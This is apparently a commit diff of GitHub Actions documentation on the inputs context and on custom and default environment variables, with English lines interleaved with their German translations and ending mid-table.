The `inputs` context contains input properties passed to an action{% ifversion actions-unified-inputs %},{% else %} or{% endif %} to a reusable workflow{% ifversion actions-unified-inputs %}, or to a manually triggered workflow{% endif %}. {% ifversion actions-unified-inputs %}For reusable workflows, the{% else %}The{% endif %} input names and types are defined in the [`workflow_call` event configuration](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events) of a reusable workflow, and the input values are passed from [`jobs.<job_id>.with`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idwith) in an external workflow that calls the reusable workflow. {% ifversion actions-unified-inputs %}For manually triggered workflows, the inputs are defined in the [`workflow_dispatch` event configuration](/actions/learn-github-actions/events-that-trigger-workflows#workflow_dispatch) of a workflow.{% endif %}
Der `inputs`-Kontext enthält Eingabeeigenschaften, die an eine Aktion{% ifversion actions-unified-inputs %},{% else %} oder{% endif %} einen wiederverwendbaren Workflow{% ifversion actions-unified-inputs %} oder einen manuell ausgelösten Workflow übergeben werden{% endif %}. {% ifversion actions-unified-inputs %}Die Eingabenamen und -typen {% else %}für wiederverwendbare Workflows{% endif %} werden in der Konfiguration des [`workflow_call`-Ereignisses](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events) eines wiederverwendbaren Workflows definiert. Die Eingabewerte werden von [`jobs.<job_id>.with`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idwith) in einem externen Workflow übergeben, der den wiederverwendbaren Workflow aufruft. {% ifversion actions-unified-inputs %}Für manuell ausgelöste Workflows werden die Eingaben in der Konfiguration des [`workflow_dispatch`-Ereignisses](/actions/learn-github-actions/events-that-trigger-workflows#workflow_dispatch) eines Workflows definiert.{% endif %}
There are no standard properties in the `inputs` context, only those which are defined in the workflow file.
Der `inputs`-Kontext enthält nur die in der Workflowdatei definierten Eigenschaften, keine Standardeigenschaften.
{% data reusables.actions.reusable-workflows-enterprise-beta %}
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `inputs` | `object` | This context is only available in a [reusable workflow](/actions/learn-github-actions/reusing-workflows){% ifversion actions-unified-inputs %} or in a workflow triggered by the [`workflow_dispatch` event](/actions/learn-github-actions/events-that-trigger-workflows#workflow_dispatch){% endif %}. You can access this context from any job or step in a workflow. This object contains the properties listed below. |
| `inputs.<name>` | `string` or `number` or `boolean` | Each input value passed from an external workflow. |
| `inputs` | `object` | Dieser Kontext ist nur in einem [wiederverwendbaren Workflow](/actions/learn-github-actions/reusing-workflows){% ifversion actions-unified-inputs %} oder in einem Workflow, der von dem [`workflow_dispatch`-Ereignis](/actions/learn-github-actions/events-that-trigger-workflows#workflow_dispatch) ausgelöst wurde, verfügbar {% endif %}. Auf diesen Kontext kannst du von jedem Auftrag oder Schritt in einem Workflow zugreifen. Dieses Objekt enthält die unten aufgeführten Eigenschaften. |
| `inputs.<name>` | `string` oder `number` oder `boolean` | Jeder Eingabewert, der von einem externen Workflow übergeben wurde. |
### Example contents of the `inputs` context
### Beispielinhalt des `inputs`-Kontexts
The following example contents of the `inputs` context is from a workflow that has defined the `build_id`, `deploy_target`, and `perform_deploy` inputs.
Der folgende Beispielinhalt des `inputs`-Kontexts stammt aus einem Workflow, der die Eingaben `build_id`, `deploy_target` und `perform_deploy` definiert hat.
```json
{
@ -830,9 +763,9 @@ The following example contents of the `inputs` context is from a workflow that h
}
```
### Example usage of the `inputs` context in a reusable workflow
### Beispielnutzung des `inputs`-Kontexts in einem wiederverwendbaren Workflow
This example reusable workflow uses the `inputs` context to get the values of the `build_id`, `deploy_target`, and `perform_deploy` inputs that were passed to the reusable workflow from the caller workflow.
In diesem Beispiel eines wiederverwendbaren Workflows werden mit dem `inputs`-Kontext die Werte der Eingaben `build_id`, `deploy_target` und `perform_deploy` abgerufen, die an den wiederverwendbaren Workflow vom aufrufenden Workflow übergeben wurden.
{% raw %}
```yaml{:copy}
@ -861,9 +794,9 @@ jobs:
{% endraw %}
{% ifversion actions-unified-inputs %}
### Example usage of the `inputs` context in a manually triggered workflow
### Beispielnutzung des `inputs`-Kontexts in einem manuell ausgelösten Workflow
This example workflow triggered by a `workflow_dispatch` event uses the `inputs` context to get the values of the `build_id`, `deploy_target`, and `perform_deploy` inputs that were passed to the workflow.
In diesem Beispiel eines durch ein `workflow_dispatch`-Ereignis ausgelösten Workflows werden mit dem `inputs`-Kontext die Werte der Eingaben `build_id`, `deploy_target` und `perform_deploy` abgerufen, die an den Workflow übergeben wurden.
{% raw %}
```yaml{:copy}
@ -888,7 +821,6 @@ jobs:
- name: Deploy build to target
run: deploy --build ${{ inputs.build_id }} --target ${{ inputs.deploy_target }}
```
{% endraw %}
{% endif %}
{% endraw %} {% endif %}
{% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Environment variables
intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each {% data variables.product.prodname_actions %} workflow run. You can also set custom environment variables in your workflow file.'
title: Umgebungsvariablen
intro: '{% data variables.product.prodname_dotcom %} legt Standardumgebungsvariablen für jede {% data variables.product.prodname_actions %}-Workflowausführung fest. Du kannst auch benutzerdefinierte Umgebungsvariablen in deiner Workflowdatei festlegen.'
redirect_from:
- /github/automating-your-workflow-with-github-actions/using-environment-variables
- /actions/automating-your-workflow-with-github-actions/using-environment-variables
@ -11,22 +11,26 @@ versions:
ghes: '*'
ghae: '*'
ghec: '*'
ms.openlocfilehash: 578b85facbb8fc6a7ff45f0d56a460eb3e2ab217
ms.sourcegitcommit: 99eb4456062aea31ca381977396417cf92e5798d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/21/2022
ms.locfileid: '148179540'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zu Umgebungsvariablen
## About environment variables
Du kannst Umgebungsvariablen verwenden, um Informationen zu speichern, auf die du in deinem Workflow verweisen möchtest. Der Verweis auf Umgebungsvariablen erfolgt innerhalb eines Workflowschritts oder einer Aktion, und die Variablen werden auf dem Runnercomputer interpoliert, auf dem der Workflow ausgeführt wird. Mit Befehlen, die in Aktionen oder Workflowschritten ausgeführt werden, können Umgebungsvariablen erstellt, ausgelesen oder geändert werden.
You can use environment variables to store information that you want to reference in your workflow. You reference environment variables within a workflow step or an action, and the variables are interpolated on the runner machine that runs your workflow. Commands that run in actions or workflow steps can create, read, and modify environment variables.
Du kannst deine eigenen benutzerdefinierten Umgebungsvariablen festlegen oder die Standardumgebungsvariablen verwenden, die {% data variables.product.prodname_dotcom %} automatisch festlegt, aber auch alle anderen Umgebungsvariablen, die in der Arbeitsumgebung auf dem Runner festgelegt sind. Bei Umgebungsvariablen wird die Groß-/Kleinschreibung berücksichtigt.
You can set your own custom environment variables, you can use the default environment variables that {% data variables.product.prodname_dotcom %} sets automatically, and you can also use any other environment variables that are set in the working environment on the runner. Environment variables are case-sensitive.
Damit du eine benutzerdefinierte Umgebungsvariable festlegen kannst, musst du diese in der Workflowdatei definieren. Der Geltungsbereich einer benutzerdefinierten Umgebungsvariable ist auf das Element beschränkt, in dem sie definiert wird. Du kannst Umgebungsvariablen definieren, die für Folgendes gelten:
To set a custom environment variable, you must define it in the workflow file. The scope of a custom environment variable is limited to the element in which it is defined. You can define environment variables that are scoped for:
* The entire workflow, by using [`env`](/actions/using-workflows/workflow-syntax-for-github-actions#env) at the top level of the workflow file.
* The contents of a job within a workflow, by using [`jobs.<job_id>.env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idenv).
* A specific step within a job, by using [`jobs.<job_id>.steps[*].env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv).
* Den gesamten Workflow, indem du in der Workflowdatei auf der obersten Ebene [`env`](/actions/using-workflows/workflow-syntax-for-github-actions#env) verwendest
* Den Inhalt eines Auftrags in einem Workflow, indem du [`jobs.<job_id>.env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idenv) verwendest
* Einen bestimmten Schritt innerhalb eines Auftrags, indem du [`jobs.<job_id>.steps[*].env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv) verwendest
{% raw %}
```yaml
@ -51,21 +55,21 @@ jobs:
```
{% endraw %}
The example above shows three custom environment variables being used in an `echo` command: `$DAY_OF_WEEK`, `$Greeting`, and `$First_Name`. The values for these environment variables are set, and scoped, at the workflow, job, and step level respectively.
Im obigen Beispiel siehst du drei benutzerdefinierte Umgebungsvariablen, die in einem `echo`-Befehl verwendet werden: `$DAY_OF_WEEK`, `$Greeting` und `$First_Name`. Die Werte für diese Umgebungsvariablen werden auf Workflow-, Auftrags- und Schrittebene festgelegt, und ihr Geltungsbereich wird entsprechend beschränkt.
Because environment variable interpolation is done after a workflow job is sent to a runner machine, you must use the appropriate syntax for the shell that's used on the runner. In this example, the workflow specifies `ubuntu-latest`. By default, Linux runners use the bash shell, so you must use the syntax `$NAME`. If the workflow specified a Windows runner, you would use the syntax for PowerShell, `$env:NAME`. For more information about shells, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsshell)."
Da die Interpolation der Umgebungsvariablen nach dem Senden eines Workflowauftrags an einen Runnercomputer durchgeführt wird, musst du die richtige Syntax für die auf dem Runner verwendete Shell verwenden. In diesem Beispiel ist im Workflow `ubuntu-latest` angegeben. Auf Linux-Runnern wird standardmäßig die Bash-Shell verwendet. Daher musst du in diesem Fall die Syntax `$NAME` verwenden. Wenn im Workflow ein Windows-Runner angegeben ist, verwende die Syntax für PowerShell: `$env:NAME`. Weitere Informationen zu Shells findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsshell).
{% note %}
**Note**: You can list the entire set of environment variables that are available to a workflow step by using <span style="white-space: nowrap;">`run: env`</span> in a step and then examining the output for the step.
**Hinweis**: Du kannst alle für einen Workflowschritt verfügbaren Umgebungsvariablen auflisten, indem du in einem Schritt <span style="white-space: nowrap;">`run: env`</span> verwendest und dann die Ausgabe für diesen Schritt untersuchst.
{% endnote %}
## Using contexts to access environment variable values
## Verwenden von Kontexten für den Zugriff auf die Werte von Umgebungsvariablen
In addition to environment variables, {% data variables.product.prodname_actions %} also allows you to set and read values using contexts. Environment variables and contexts are intended for use at different points in the workflow.
Neben Umgebungsvariablen kannst du mit {% data variables.product.prodname_actions %} mithilfe von Kontexten auch Werte festlegen und lesen. Umgebungsvariablen und Kontexte sind für verschiedene Stellen im Workflow vorgesehen.
Environment variables are always interpolated on the virtual machine runner. However, parts of a workflow are processed by {% data variables.product.prodname_actions %} and are not sent to the runner. You cannot use environment variables in these parts of a workflow file. Instead, you can use contexts. For example, an `if` conditional, which determines whether a job or step is sent to the runner, is always processed by {% data variables.product.prodname_actions %}. You can use a context in an `if` conditional statement to access the value of an environment variable.
Umgebungsvariablen werden immer auf dem VM-Runner interpoliert. Teile eines Workflows werden jedoch von {% data variables.product.prodname_actions %} verarbeitet und nicht an den Runner gesendet. In diesen Teilen einer Workflowdatei können keine Umgebungsvariablen verwendet werden. Stattdessen kannst du Kontexte verwenden. Eine `if`-Bedingung, mit der entschieden wird, ob ein Auftrag oder Schritt an den Runner gesendet wird, wird beispielsweise immer von {% data variables.product.prodname_actions %} verarbeitet. In `if`-Bedingungsanweisungen kannst du Kontexte verwenden, um auf die Werte von Umgebungsvariablen zuzugreifen.
{% raw %}
```yaml
@ -86,105 +90,79 @@ jobs:
```
{% endraw %}
In this modification of the first example, we've introduced an `if` conditional. The workflow step is now only run if `DAYS_OF_WEEK` is set to "Monday". We access this value from the `if` conditional statement by using the [`env` context](/actions/learn-github-actions/contexts#env-context).
In dieser abgewandelten Version des ersten Beispiels wurde eine `if`-Bedingung ergänzt. Der Workflowschritt wird jetzt nur ausgeführt, wenn `DAYS_OF_WEEK` auf „Monday“ festgelegt ist. In der `if`-Bedingungsanweisung wird auf diesen Wert über den [Kontext `env`](/actions/learn-github-actions/contexts#env-context) zugegriffen.
{% note %}
**Note**: Contexts are usually denoted using the dollar sign and curly braces, as {% raw %}`${{ context.property }}`{% endraw %}. In an `if` conditional, the {% raw %}`${{` and `}}`{% endraw %} are optional, but if you use them they must enclose the entire comparison statement, as shown above.
**Hinweis**: Kontexte werden in der Regel mit einem Dollarzeichen und geschweiften Klammern gekennzeichnet, z. B. {% raw %}`${{ context.property }}`{% endraw %}. In einer `if`-Bedingung sind {% raw %}`${{` und `}}`{% endraw %} optional. Wenn du diese Zeichen verwendest, müssen sie jedoch die gesamte Vergleichsanweisung umschließen, wie oben zu sehen.
{% endnote %}
You will commonly use either the `env` or `github` context to access environment variable values in parts of the workflow that are processed before jobs are sent to runners.
Oft wirst du entweder den Kontext `env` oder `github` verwenden, um auf Werte von Umgebungsvariablen in Teilen des Workflows zuzugreifen, die verarbeitet werden, bevor Aufträge an Runner gesendet werden.
| Context | Use case | Example |
| Kontext | Anwendungsfall | Beispiel |
| --- | --- | --- |
| `env` | Reference custom environment variables defined in the workflow. | <span style="white-space: nowrap;">{% raw %}`${{ env.MY_VARIABLE }}`{% endraw %}</span> |
| `github` | Reference information about the workflow run and the event that triggered the run. | <span style="white-space: nowrap;">{% raw %}`${{ github.repository }}`{% endraw %}</span> |
| `env` | Verweisen auf benutzerdefinierte Umgebungsvariablen, die im Workflow definiert sind | <span style="white-space: nowrap;">{% raw %}`${{ env.MY_VARIABLE }}`{% endraw %}</span> |
| `github` | Verweisen auf Informationen zur Workflowausführung und zu dem Ereignis, durch das die Ausführung ausgelöst wurde | <span style="white-space: nowrap;">{% raw %}`${{ github.repository }}`{% endraw %}</span> |
There are many other contexts that you can use for a variety of purposes in your workflows. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." For details of where you can use specific contexts within a workflow, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)."
Es gibt noch viele weitere Kontexte, die du für verschiedene Zwecke in deinen Workflows verwenden kannst. Weitere Informationen findest du unter [Kontexte](/actions/learn-github-actions/contexts). Ausführliche Informationen dazu, wo du bestimmte Kontexte innerhalb eines Workflows verwenden kannst, findest du unter [Kontextverfügbarkeit](/actions/learn-github-actions/contexts#context-availability).
### Other types of variables
### Andere Arten von Variablen
In most places in a workflow, the only types of variables that you can use are either environment variables, such as `$MY_VARIABLE`, or the equivalent context property, such as <span style="white-space: nowrap;">{% raw %}`${{ env.MY_VARIABLE }}`{% endraw %}</span>. Exceptions are:
An den meisten Stellen in einem Workflow sind die einzigen Arten von Variablen, die du verwenden kannst, entweder Umgebungsvariablen (z. B. `$MY_VARIABLE`) oder die entsprechende Kontexteigenschaft (z. B. <span style="white-space: nowrap;">{% raw %}`${{ env.MY_VARIABLE }}`{% endraw %}</span>). Es gelten folgende Ausnahmen:
* Inputs for the `workflow_call` and `workflow_dispatch` events, which allow you to pass values to a workflow. For more information, see [`on.workflow_call.inputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_dispatch.inputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_dispatchinputs).
* Job outputs, which allow you to pass values between jobs in a workflow. For more information, see [`jobs.<job_id>.outputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs).
* The variables in a format expression, which allow you to replace parts of a string. For more information, see [`format`](/actions/learn-github-actions/expressions#format).
* Eingaben für die Ereignisse `workflow_call` und `workflow_dispatch`, bei denen Werte an einen Workflow übergeben werden können. Weitere Informationen findest du unter [`on.workflow_call.inputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callinputs) und [`on.workflow_dispatch.inputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_dispatchinputs).
* Auftragsausgaben, bei denen Werte zwischen Aufträgen in einem Workflow übergeben werden können. Weitere Informationen findest du unter [`jobs.<job_id>.outputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs).
* Die Variablen in einem Formatausdruck, bei denen Teile einer Zeichenfolge ersetzt werden können. Weitere Informationen findest du unter [`format`](/actions/learn-github-actions/expressions#format).
## Naming conventions for environment variables
## Namens-Konventionen für Umgebungsvariablen
When you set a custom environment variable, you cannot use any of the default environment variable names. For a complete list of these, see "[Default environment variables](#default-environment-variables)" below. If you attempt to override the value of one of these default environment variables, the assignment is ignored.
Wenn du eine benutzerdefinierte Umgebungsvariable festlegst, kannst du nicht die Namen von Standardumgebungsvariablen verwenden. Eine vollständige Liste dieser Variablen findest du weiter unten unter [Standardumgebungsvariablen](#default-environment-variables). Wenn du versuchst, den Wert einer dieser Standardumgebungsvariablen zu überschreiben, wird diese Zuweisung ignoriert.
Any new environment variables you set that point to a location on the filesystem should have a `_PATH` suffix. The `GITHUB_ENV` and `GITHUB_WORKSPACE` default environment variables are exceptions to this convention.
Alle neuen, von Ihnen festgelegten Umgebungsvariablen, die auf einen Ort im Dateisystem verweisen, müssen über die Endung `_PATH` verfügen. Die Standardumgebungsvariablen `GITHUB_ENV` und `GITHUB_WORKSPACE` sind Ausnahmen von dieser Konvention.
## Default environment variables
## Standardumgebungsvariablen
The default environment variables that {% data variables.product.prodname_dotcom %} sets are available to every step in a workflow.
Die von {% data variables.product.prodname_dotcom %} festgelegten Standardumgebungsvariablen sind in jedem Schritt eines Workflows verfügbar.
We strongly recommend that actions use environment variables to access the filesystem rather than using hardcoded file paths. {% data variables.product.prodname_dotcom %} sets environment variables for actions to use in all runner environments.
Es wird dringend empfohlen, dass Aktionen Umgebungsvariablen verwenden, um auf das Dateisystem zuzugreifen, anstatt hartcodierte Dateipfade zu verwenden. {% data variables.product.prodname_dotcom %} legt Umgebungsvariablen für Aktionen fest, die in allen Runner-Umgebungen verwendet werden sollen.
| Environment variable | Description |
| Umgebungsvariable | BESCHREIBUNG |
| ---------------------|------------ |
| `CI` | Always set to `true`. |
| `GITHUB_ACTION` | The name of the action currently running, or the [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) of a step. For example, for an action, `__repo-owner_name-of-action-repo`.<br><br>{% data variables.product.prodname_dotcom %} removes special characters, and uses the name `__run` when the current step runs a script without an `id`. If you use the same script or action more than once in the same job, the name will include a suffix that consists of the sequence number preceded by an underscore. For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. |
| `GITHUB_ACTION_PATH` | The path where an action is located. This property is only supported in composite actions. You can use this path to access files located in the same repository as the action. For example, `/home/runner/work/_actions/repo-owner/name-of-action-repo/v1`. |
| `GITHUB_ACTION_REPOSITORY` | For a step executing an action, this is the owner and repository name of the action. For example, `actions/checkout`. |
| `GITHUB_ACTIONS` | Always set to `true` when {% data variables.product.prodname_actions %} is running the workflow. You can use this variable to differentiate when tests are being run locally or by {% data variables.product.prodname_actions %}.
| `GITHUB_ACTOR` | The name of the person or app that initiated the workflow. For example, `octocat`. |
| `GITHUB_API_URL` | Returns the API URL. For example: `{% data variables.product.api_url_code %}`.
| `GITHUB_BASE_REF` | The name of the base ref or target branch of the pull request in a workflow run. This is only set when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. For example, `main`. |
| `GITHUB_ENV` | The path on the runner to the file that sets environment variables from workflow commands. This file is unique to the current step and changes for each step in a job. For example, `/home/runner/work/_temp/_runner_file_commands/set_env_87406d6e-4979-4d42-98e1-3dab1f48b13a`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable)." |
| `GITHUB_EVENT_NAME` | The name of the event that triggered the workflow. For example, `workflow_dispatch`. |
| `GITHUB_EVENT_PATH` | The path to the file on the runner that contains the full event webhook payload. For example, `/github/workflow/event.json`. |
| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example: `{% data variables.product.graphql_url_code %}`.
| `GITHUB_HEAD_REF` | The head ref or source branch of the pull request in a workflow run. This property is only set when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. For example, `feature-branch-1`. |
| `GITHUB_JOB` | The [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. For example, `greeting_job`. |
| `GITHUB_PATH` | The path on the runner to the file that sets system `PATH` variables from workflow commands. This file is unique to the current step and changes for each step in a job. For example, `/home/runner/work/_temp/_runner_file_commands/add_path_899b9445-ad4a-400c-aa89-249f18632cf5`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-system-path)." |
| `CI` | Immer auf `true` festgelegt. |
| `GITHUB_ACTION` | Name der aktuell ausgeführten Aktion oder der [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid)-Wert eines Schritts. Ein Beispiel für eine Aktion wäre `__repo-owner_name-of-action-repo`.<br><br>{% data variables.product.prodname_dotcom %} entfernt Sonderzeichen und verwendet den Namen `__run`, wenn der aktuelle Schritt ein Skript ohne `id` ausführt. Wenn du ein Skript oder eine Aktion in einem Auftrag mehrmals verwendest, enthält der Name ein Suffix, das aus einem Unterstrich, gefolgt von einer laufenden Nummer, besteht. So lautet z. B. der Name des ersten Skripts, das du ausführst, `__run` und der des zweiten `__run_2`. Analog dazu erhält der zweite Aufruf von `actions/checkout` den Namen `actionscheckout2`. |
| `GITHUB_ACTION_PATH` | Pfad einer Aktion. Diese Eigenschaft wird nur in zusammengesetzten Aktionen unterstützt. Mit diesem Pfad kannst du auf Dateien zugreifen, die sich im selben Repository wie die Aktion befinden. Beispiel: `/home/runner/work/_actions/repo-owner/name-of-action-repo/v1`. |
| `GITHUB_ACTION_REPOSITORY` | Bei einem Schritt, in dem eine Aktion ausgeführt wird, gibt diese Eigenschaft den Namen des Besitzers bzw. der Besitzerin und des Repositorys der Aktion an. Beispiel: `actions/checkout`. |
| `GITHUB_ACTIONS` | Wenn {% data variables.product.prodname_actions %} den Workflow ausführt, ist der Wert dieser Variable immer auf `true` festgelegt. Du kannst diese Variable verwenden, um zu differenzieren, wann Tests lokal oder von {% data variables.product.prodname_actions %} durchgeführt werden.
| `GITHUB_ACTOR` | Name der Person oder App, die den Workflow initiiert hat. Beispiel: `octocat`. |
| `GITHUB_API_URL` | Gibt die API-URL zurück. Beispiel: `{% data variables.product.api_url_code %}`.
| `GITHUB_BASE_REF` | Name des Basisverweises oder Zielbranchs des Pull Requests in einer Workflowausführung. Diese Variable wird nur festgelegt, wenn das Ereignis, durch das eine Workflowausführung ausgelöst wird, entweder `pull_request` oder `pull_request_target` ist. Beispiel: `main`. |
| `GITHUB_ENV` | Pfad auf dem Runner zu der Datei, in der Umgebungsvariablen aus Workflowbefehlen festgelegt sind. Diese Datei ist für den aktuellen Schritt eindeutig und ändert sich bei jedem Schritt in einem Auftrag. Beispiel: `/home/runner/work/_temp/_runner_file_commands/set_env_87406d6e-4979-4d42-98e1-3dab1f48b13a`. Weitere Informationen findest du unter [Workflowbefehle für {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable). |
| `GITHUB_EVENT_NAME` | Der Name des Ereignisses, das den Workflow ausgelöst hat. Beispiel: `workflow_dispatch`. |
| `GITHUB_EVENT_PATH` | Pfad zu der Datei auf dem Runner, die die vollständigen Webhook-Nutzdaten für das Ereignis enthält. Beispiel: `/github/workflow/event.json`. |
| `GITHUB_GRAPHQL_URL` | Gibt die GraphQL-API-URL zurück. Beispiel: `{% data variables.product.graphql_url_code %}`.
| `GITHUB_HEAD_REF` | Der Verweis auf den Hauptbranch oder der Quellbranch des Pull Requests in einer Workflowausführung. Diese Eigenschaft wird nur festgelegt, wenn das Ereignis, durch das eine Workflowausführung ausgelöst wird, entweder `pull_request` oder `pull_request_target` ist. Beispiel: `feature-branch-1`. |
| `GITHUB_JOB` | Die [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) des aktuellen Auftrags. Beispiel: `greeting_job`. |
| `GITHUB_PATH` | Pfad auf dem Runner zu der Datei, in der die `PATH`-Systemvariablen aus Workflowbefehlen festgelegt sind. Diese Datei ist für den aktuellen Schritt eindeutig und ändert sich bei jedem Schritt in einem Auftrag. Beispiel: `/home/runner/work/_temp/_runner_file_commands/add_path_899b9445-ad4a-400c-aa89-249f18632cf5`. Weitere Informationen findest du unter [Workflowbefehle für {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-system-path). |
| `GITHUB_REF` | {% data reusables.actions.ref-description %} |
{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} |
| `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} |
| `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %} |
{%- endif %}
| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. |
| `GITHUB_REPOSITORY_OWNER` | The repository owner's name. For example, `octocat`. |
| `GITHUB_RETENTION_DAYS` | The number of days that workflow run logs and artifacts are kept. For example, `90`. |
| `GITHUB_RUN_ATTEMPT` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. For example, `3`. |
| `GITHUB_RUN_ID` | {% data reusables.actions.run_id_description %} For example, `1658821493`. |
| `GITHUB_RUN_NUMBER` | {% data reusables.actions.run_number_description %} For example, `3`. |
| `GITHUB_SERVER_URL`| The URL of the {% data variables.product.product_name %} server. For example: `https://{% data variables.product.product_url %}`.
| `GITHUB_SHA` | {% data reusables.actions.github_sha_description %} |
{%- ifversion actions-job-summaries %}
| `GITHUB_STEP_SUMMARY` | The path on the runner to the file that contains job summaries from workflow commands. This file is unique to the current step and changes for each step in a job. For example, `/home/rob/runner/_layout/_work/_temp/_runner_file_commands/step_summary_1cb22d7f-5663-41a8-9ffc-13472605c76c`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary)." |
{%- endif %}
| `GITHUB_WORKFLOW` | The name of the workflow. For example, `My test workflow`. If the workflow file doesn't specify a `name`, the value of this variable is the full path of the workflow file in the repository. |
| `GITHUB_WORKSPACE` | The default working directory on the runner for steps, and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. For example, `/home/runner/work/my-repo-name/my-repo-name`. |
{%- ifversion actions-runner-arch-envvars %}
| `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %} |
{%- endif %}
| `RUNNER_DEBUG` | {% data reusables.actions.runner-debug-description %} |
| `RUNNER_NAME` | {% data reusables.actions.runner-name-description %} For example, `Hosted Agent` |
| `RUNNER_OS` | {% data reusables.actions.runner-os-description %} For example, `Windows` |
| `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %} For example, `D:\a\_temp` |
{%- ifversion not ghae %}
| `RUNNER_TOOL_CACHE` | {% data reusables.actions.runner-tool-cache-description %} For example, `C:\hostedtoolcache\windows` |
{%- endif %}
{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} | `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} | | `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} | | `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %} | {%- endif %} | `GITHUB_REPOSITORY` | Der Name des Besitzers und des Repositorys. Beispiel: `octocat/Hello-World`. | | `GITHUB_REPOSITORY_OWNER` | Der Name des Besitzers bzw. der Besitzerin des Repositorys. Beispiel: `octocat`. | | `GITHUB_RETENTION_DAYS` | Anzahl der Tage, für die Protokolle und Artefakte von Workflowausführungen aufbewahrt werden. Beispiel: `90`. | | `GITHUB_RUN_ATTEMPT` | Eine eindeutige Nummer für jeden Versuch einer bestimmten Workflowausführung in einem Repository. Diese Nummer beginnt bei 1 für den ersten Versuch der Workflowausführung und erhöht sich mit jeder weiteren Ausführung um 1. Beispiel: `3`. | | `GITHUB_RUN_ID` | {% data reusables.actions.run_id_description %} Ein Beispiel wäre `1658821493`. | | `GITHUB_RUN_NUMBER` | {% data reusables.actions.run_number_description %} Ein Beispiel wäre `3`. | | `GITHUB_SERVER_URL`| Die URL des {% data variables.product.product_name %}-Servers. Beispiel: `https://{% data variables.product.product_url %}`.
| `GITHUB_SHA` | {% data reusables.actions.github_sha_description %} | {%- ifversion actions-job-summaries %} | `GITHUB_STEP_SUMMARY` | Der Pfad auf dem Runner zu der Datei, die Auftragszusammenfassungen von Workflowbefehlen enthält. Diese Datei ist für den aktuellen Schritt eindeutig und ändert sich bei jedem Schritt in einem Auftrag. Beispiel: `/home/rob/runner/_layout/_work/_temp/_runner_file_commands/step_summary_1cb22d7f-5663-41a8-9ffc-13472605c76c`. Weitere Informationen findest du unter [Workflowbefehle für {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary). | {%- endif %} | `GITHUB_WORKFLOW` | Der Name des Workflows. Beispiel: `My test workflow`. Wird in der Workflowdatei kein Wert für `name` festgelegt, entspricht der Wert dieser Variable dem vollständigen Pfad der Workflowdatei im Repository. | | `GITHUB_WORKSPACE` | Das Standardarbeitsverzeichnis auf dem Runner für die Schritte und der Standardspeicherort deines Repositorys beim Verwenden der Aktion [`checkout`](https://github.com/actions/checkout) Beispiel: `/home/runner/work/my-repo-name/my-repo-name`. | {%- ifversion actions-runner-arch-envvars %} | `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %} | {%- endif %} | `RUNNER_DEBUG` | {% data reusables.actions.runner-debug-description %} | | `RUNNER_NAME` | {% data reusables.actions.runner-name-description %} Zum Beispiel `Hosted Agent` | | 